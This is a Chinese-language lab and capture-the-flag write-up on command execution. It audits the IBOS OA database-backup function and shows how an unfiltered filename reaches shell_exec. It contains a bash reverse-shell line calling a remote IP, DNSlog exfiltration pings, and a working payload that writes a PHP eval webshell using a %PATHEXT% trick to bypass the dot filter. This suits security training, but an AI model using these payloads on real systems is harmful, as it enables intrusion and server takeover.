基础知识
命令执行:用户传入的参数,会被当成系统指令来执行,指令内容用户可控,属于代码执行的一种
ctrl+u:在view-source模式自动换行
危险函数
- system()函数:直接执行命令,并且输出
- exec()函数:默认显示最后一行结果,没有输出
- shell_exec()函数:多行结果,没有输出
- passthru()函数:等价于system()函数
- ``(反引号):反引号里面的内容优先执行,在linux中较多
- fopen()函数
特殊技巧(我也不知道是干啥的技巧)
- 通过 > 符号,将结果输出到某个文件里面,结果覆盖保存
- 通过 >> 符号,将结果输出到某个文件里面,结果末尾追加
- | 管道符,将前面的指令运行结果,当成后面指令的输入内容
ipconfig| findstr "IPv4"
结果没有输出(没有回显),怎么判断是否执行
- 使用dnslog数据外带
ping -n 1 2.abt1zl.dnslog.cn # windows 用 -n 指定ping的次数
ping -c 1 2.abt1zl.dnslog.cn # linux 用 -c 指定ping的次数
- 将指令的结果输出到一个文本文件中,然后去访问这个文件
disable_function:用于禁止某些函数,接受逗号分隔的函数名列表作为参数
php代码审计重点
- 跟进函数分析 function 函数名
- 全局搜索危险函数
- 是否过滤:sql过滤通过正则匹配sql(危险函数)token绑定,签名:硬编码
- 过滤能否绕过
利用思路
- 写一个一句话木马
- 反弹shell
需要一个能被目标访问到的ip和端口
通过指令获得 一个远程的终端 由服务器主动外联,提供一个终端的
bash -i >& /dev/tcp/192.168.189.128/8888 0>&1 2>&1 - 直接上马(后门)
审计ibos.exe文件
用exe文件搭建环境的原因:搭建过程简单,对源码的保密,源码通常对运行环境要求非常苛刻
源码审计如何去做:
- 分析代码是否加密,使用了加密手法:一般exe文件中内容会加密,可以打开文件头/文件尾查看是否有标识性的特征,搜索后进行解密(SeayDzend)
- 分析源码:最后可控的变量是在最后面
ibos 使用了 yii 框架(php框架) => 对标 thinkphp框架
其他绕过方法:
&&:与
||:或
&:%26
本地环境
环境搭建
点击exe文件进行安装,预防后期需要使用浏览器查看,将其安装在网站根目录下
安装后会有框架,所以感觉安装在网站根目录下的选择有点错误
安装界面
安装完成,打开目录下的文件进行查看
发现有些文件进行加密处理过
针对这种加密文件,我们可以查看文件头或者文件尾,寻找其特征,此靶场我们可以发现文件头有Zend 2004072203 65540 979 3393 等字段,可以进行百度搜索
根据搜索结果得知是zend guard 5.5加密
此时我们可以用百度搜索在线解密软件,或者直接用软件:SeayDzend进行解密(此靶场使用第二种方法)
发现软件最高只有5.4版本,又搜了一下,发现可能是5.3版本加密,进行解密
查看解密后的文件,确定就是5.3版本加密
接下来进行代码审计,首先搜索危险函数system(),没啥用
继续搜索exec()函数
Database.php文件
根据提示找到漏洞点
执行mysqldump命令,通过查询将数据库内容的信息(主机、用户名、密码、数据库名)导入到文件中
mysqldump工具是备份MySQL数据库的工具,可以将数据库中的数据和结构导出到一个SQL文件中,以便日后恢复数据。
- 首先,运行mysqldump命令。
- 指定要备份的数据库名称。
- 可以选择导出数据和结构,或只导出其中之一。
- 将导出的内容保存到一个SQL文件中,以便以后使用。
此时猜测此漏洞和数据备份功能相关
其中对末尾的文件名:$dumpFile进行猜测是否可控
在文件内ctrl+f进行搜索变量名:$dumpFile,向上查看是否有对文件名的处理
其中像类似这种的情况不是对文件名的初始化处理,所以还需要向上寻找
一直找到文件的第353行,根据unlink函数猜测是与删除文件有关
继续向下读代码(352-361行),此段代码会将文件删除后再次进行文件的备份
继续向上读代码,查找要删除的$dumpFile的来源(352行)
拼接备份文件的文件名并添加后缀.sql,此时我们可以使用xxx||1.php
进行绕过
继续向上查找$backupFileName的来源(239行)
使用正则对$fileName进行匹配,将路径和文件名进行拼接,其中对文件名中的**/(反斜杠)、\(双斜杠)、.(点)、'**(单引号)进行过滤,替换为空,并赋值给$backupFileName
再次跟进拼接的变量$fileName(166-171行)
fileName使用getRequest方法得到,
根据定义的类core\utils\Env,找到core\utils\Env文件,在文件内搜索getRequest方法(115-139行)
core\utils\Env(115-139行)
Ibos::app() 调用静态方法获取应用程序的实例,并从中获取request对象
$fileName只传了一个参数,所以只有变量key是可控的,同时变量type的值默认是“GP”,所以case选项只有G和P两个选择
当type=G的时候,变量var=request使用$request->getQuery($key, $defaultValue)方法获取特定键的值
此时我们直接去全局搜索getQuery函数
判断是否存在get方式得到的name,如果存在则返回,不存在返回默认值(空)
此时猜想getPost函数是判断是否存在post方式得到的name
此时可以确定env文件中的request变量是接收来自get或者post传参,且功能为网站数据备份
去网站查看数据备份功能
因为是对数据进行备份,所以是需要登录后台的
在通用设置->数据库中找到备份功能
发现备份分为ibos备份和自定义备份(差不多的东西,不想说了),先尝试ibos备份功能,点击提交后使用bp进行抓包,没看见有可利用的点
再次查看Database文件shell_exec函数附件,发现还需要满足method不等于multivol
发现下面还有更多的选项(更多选项中包含shell备份和分卷备份,刚开始以为两种方法都能用,后来发现ibos就是shell备份写shell,所以此处还要选择shell备份),打开后发现有备份文件名,且文件名可以修改,后缀为.sql,联想到Database文件中的.sql后缀的绕过,
点击提交,使用bp抓包,文件名可改,且后缀为.sql
因为文件对文件名单引号过滤,所以此处包含文件可使用双引号和反引号(我想用双引号)将文件名改为
%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%26
从而将木马写入1.php文件(因为此时还对点进行过滤了,所以我们先尝试写入1文件,先测试此功能是否可行,再研究绕过问题),此时.被过滤,需要再次寻找绕过方式
将修改后的数据包进行放行,此时再打开浏览器,出现了报错(但是没事),在当前目录下访问1文件,此时访问后会将文件下载,打开后发现将木马成功写入
.绕过
可参考此文章https://bbs.zkaq.cn/t/4557.htm
截取字符串的语法就是 %变量名:~x,y%
PATHEXT在windows中是环境变量,此时第一位是.
所以我们可以借助**%PATHEXT:~0,1%**(其中0,1是指从第0位开始取1位)来得到.
此时要插入的语句为:**%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26**
使用bp进行抓包,修改数据包
放包后访问1.php文件,绕过成功
靶场环境
根据题目提供的账号密码直接登录(账号:admin,密码zkaqzkaq),找到管理后台 -> 通用设置 -> 数据库,进行备份操作
其中数据备份类型随意选择即可,更多选项中数据备份方式要选择shell备份
点击提交后使用bp进行抓包,插入木马语句
%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26
放包后查看网站目录下的1.php文件,绕过成功
根据题目提示:flag在网站的system\config\config.php中的authkey的值,所以我们还需要连接哥斯拉进行查看flag
找到flag:7441b88SH97Jzndp
版权归原作者 王绍煜 所有, 如有侵权,请联系我们删除。